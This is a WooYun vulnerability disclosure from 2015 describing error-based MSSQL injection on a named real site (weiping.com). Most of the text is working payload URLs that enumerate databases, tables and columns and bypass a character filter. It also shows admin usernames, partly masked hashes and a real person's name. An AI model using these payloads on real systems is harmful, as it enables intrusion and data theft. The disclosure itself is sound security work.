当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111927

漏洞标题:返还网某站MSSQL报错注入已注出管理员数据(可垮裤,典型手工注入案例)

相关厂商:返还网

漏洞作者: goubuli

提交时间:2015-06-11 02:49

修复时间:2015-07-26 09:06

公开时间:2015-07-26 09:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:19

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-11: 细节已通知厂商并且等待厂商处理中
2015-06-11: 厂商已经确认,细节仅向厂商公开
2015-06-21: 细节向核心白帽子及相关领域专家公开
2015-07-01: 细节向普通白帽子公开
2015-07-11: 细节向实习白帽子公开
2015-07-26: 细节向公众公开

简要描述:

RT

详细说明:

首先看一下这个站:http://www.weiping.com/

150504_1.png


随意查看某个用户,出现的链接URL为:http://www.weiping.com/用户名
如注入点:http://www.weiping.com/zhengxq111
随手一个',爆出SQL及注入地方

150504_2.png


下面就好弄了
1、构造语句
在测试过程中发现过滤了:<、>、*等字符,后续会有绕过

http://www.weiping.com/zhengxq111' and 要查的数据 and 'a'='a


如:http://www.weiping.com/zhengxq111' and user=1 and 'a'='a

150504_3.png


在将 nvarchar 值 'fanhuan' 转换成数据类型 int 时失败。


2、查数据库相关信息

http://www.weiping.com/zhengxq111' and user=1 and 'a'='a								在将 nvarchar 值 'fanhuan' 转换成数据类型 int 时失败。


当前用户:fanhuan

http://www.weiping.com/zhengxq111' and db_name()=1 and 'a'='a							在将 nvarchar 值 'WeiPing' 转换成数据类型 int 时失败。


当前库:WeiPing

http://www.weiping.com/zhengxq111' and @@version=1 and 'a'='a


150504_4.png


数据库Microsoft SQL Server 2008
3、搞出所有数据库

http://www.weiping.com/zhengxq111' and (SELECT count(Name) FROM Master..SysDatabases )=16  and 'a'='a


一共16个数据库
构造:

http://www.weiping.com/zhengxq111' and (SELECT top 1 Name FROM Master..SysDatabases where name not in(select top XX name from Master..SysDatabases))=16  and 'a'='a


查出所有数据库(数据库信息不贴出来了),只举一列

150504_5.png


4、搞出某个数据库的所有表
构造

http://www.weiping.com/zhengxq111' and (select count(name) from WeiPing..sysobjects where xtype='U')=28  and 'a'='a


返回正常,WeiPing数据库一共28个数据表

http://www.weiping.com/zhengxq111' and (select top 1 name from sysobjects where xtype='U' and id not in(select top XX id from sysobjects where xtype='U'))=1  and 'a'='a


如:

http://www.weiping.com/zhengxq111' and (select top 1 name from sysobjects where xtype='U' and id not in(select top 1 id from sysobjects where xtype='U'))=1  and 'a'='a


在将 nvarchar 值 'WP_UserPluginData' 转换成数据类型 int 时失败。

150504_6.png


其他数据不贴
5、搞出某个表的所有字段
构造

http://www.weiping.com/zhengxq111' and (SELECT top 1 c.name FROM WeiPing..syscolumns c,WeiPing..sysobjects s WHERE c.id=s.id AND s.name='KS_Comment')=1 and 'a'='a


字段数查询类似3、4步骤,共20个字段,过程略
如:

http://www.weiping.com/zhengxq111' and (SELECT top 1 c.name FROM WeiPing..syscolumns c,WeiPing..sysobjects s WHERE c.id=s.id AND s.name='KS_Comment' and c.name not in ('ID','FatherID','UserName'))=1 and 'a'='a


150504_7.png


6、查表中数据
这个比较简单
构造

http://www.weiping.com/zhengxq111' and (SELECT top 1 UserIP FROM KS_Comment)=1 and 'a'='a


如:

150504_8.png


==========================垮裤
在第3步中有一个数据库是:taobao
那么垮裤,看看库里信息,先看有多少表?因为过滤了<>*等,这里用between绕过

http://www.weiping.com/zhengxq111' and (select count(name) from taobao..sysobjects where xtype='U')  BETWEEN 45 and 47 and 'a'='a


访问正常,说明表的数量在45(含)-47(含)之间

http://www.weiping.com/zhengxq111' and (select count(name) from taobao..sysobjects where xtype='U')=45 and 'a'='a


说明taobao数据库只有45张表
查其中一个表

http://www.weiping.com/zhengxq111' and (select top 1 name from taobao..sysobjects where xtype='U' and id not in(select top 12 id from taobao..sysobjects where xtype='U'))=1  and 'a'='a


150504_9.png


有一个AdminUser表
看看字段
有:

UserId
ParentId
UserName
Password
FullName
MobileTel
Email
Tel
...

等字段
看看数据

150504_10.png


Username:qiulin
Password:6605ACBC1**************87A854B
FullName:邱霖
...


不敢确定是否是管理员,再看下一条
第二条:

150504_11.png


直接报出admin,这次应该是管理员了

Username:admin
Password:B814***********2BB174
FullName:系统管理员


接下来没有深入,问题就点到这里吧。。。
没有去写脚本。。。只是想试试手工,这个站是一个很好的案例。
声明:所有执行都是测试,没有任何破坏。

漏洞证明:

上面已证明
不跟上面重复了,贴一个暴出的路径吧

150504_12.png


E:\Other_2\WP\03_src\LGFZ.Weping.Utility\Databse\DatabaseTextUtility.cs

修复方案:

迅速修补

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-11 09:05

厂商回复:

存在SQL注入,对数据的安全性产生较大的影响

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-05 13:05 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:977 漏洞数:264 | 天地本不仁 万物为刍狗)

    看见手工注入 我就关注了

  2. 2015-05-05 14:17 | goubuli ( 普通白帽子 | Rank:324 漏洞数:61 )

    @天地不仁 以万物为刍狗 手工是个体力活

  3. 2015-06-12 09:48 | sauren ( 实习白帽子 | Rank:34 漏洞数:10 | 天天打DOTA,快乐你我他~)

    哦?

  4. 2015-07-26 10:10 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    mark